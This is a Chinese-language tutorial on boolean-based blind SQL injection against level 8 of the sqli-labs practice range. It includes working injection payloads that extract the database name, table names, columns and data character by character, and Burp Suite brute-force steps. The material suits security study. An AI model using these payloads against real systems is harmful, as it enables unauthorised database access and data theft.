sql注入–布尔盲注
靶场:sqli-labs-master
下载链接:靶场下载链接
第8关 盲注
php源码
';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
盲注分为
1.布尔类型
只会返回True或者False
2.时间盲注
通过sleep函数,使用F12观察加载时间的变化判断是否猜解是否正确
一.布尔盲注
例如输入?id=1
返回 you are in…
输入 ?id=1000
页面无返回信息
再测试?id=’
也没有回显。那么这种没有回显点的就称为盲注
盲注需要用到一些函数
1.substr() 截取字符串
2.length() 返回字符串长度
3.ascii() 返回字符串的ASCII码
4.sleep() 程序执行延迟()秒
5.if(exp1,exp2,exp3) 如果exp1正确,就执行exp2,否正执行exp3
由于盲注没有回显,所以只能通过逻辑语句比如and 来判断我们执行的语句是否成功
①.猜解数据库名长度
SELECT * FROM users WHERE id='1' and (length(database()))=8 -- ' LIMIT 0,1
(–为注释+表示空格,与%23即#作用相同)
②.然后就可以猜解数据库名
使用语句 ?id=’ and (ascii(substr(database(),1,1)))=115 --+
(substr(database(),1,1)表示从database()第一个字符开始截取,一共截取1个字符,然后使用ascii取得这个字符的ASCII码进行判断是否为ASCII码为115对应的字符
SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1)))=115 -- ' LIMIT 0,1
通过此语句猜解出数据库名的第一个字符为ASCII码为115对应的字符即:s
然后可以使用burpsuite工具抓包通过爆破帮助我们快速破解剩下的字符
使用火狐浏览器,设置代理
抓包
发送到burpsuite的爆破模块
然后进行清除和设置要爆破的变量
设置115为要爆破的变量
设置payload,ascii码从0到127
然后开始攻击
可以看到,burpsuite将每个ASCII码都进行了尝试
只需要点击length查看与其他结果不同的ASCII码值
可以看到,当使用ASCII码101尝试时,返回结果为you are in,故可以得到database()的第二个字符为ASCII码为101对应的字符,即:e
同理可以获取剩余字符信息
只需将此处改为3 4 5 6 7 8 然后同上即可
得到数据库名称为security
③.猜解字段名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=115 --+
说明第一个表名对应的字符ASCII码为101 即:e
其他字符同理
得到表名为emails
其他表同理
④.取表中的字段信息
查询语句可参考前面的文章
sql注入–报错型
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=115 --+
⑤.取表中的数据
?id=1' and (ascii(substr((select email_id from emails where id= limit 0,1),1,1)))=115 --+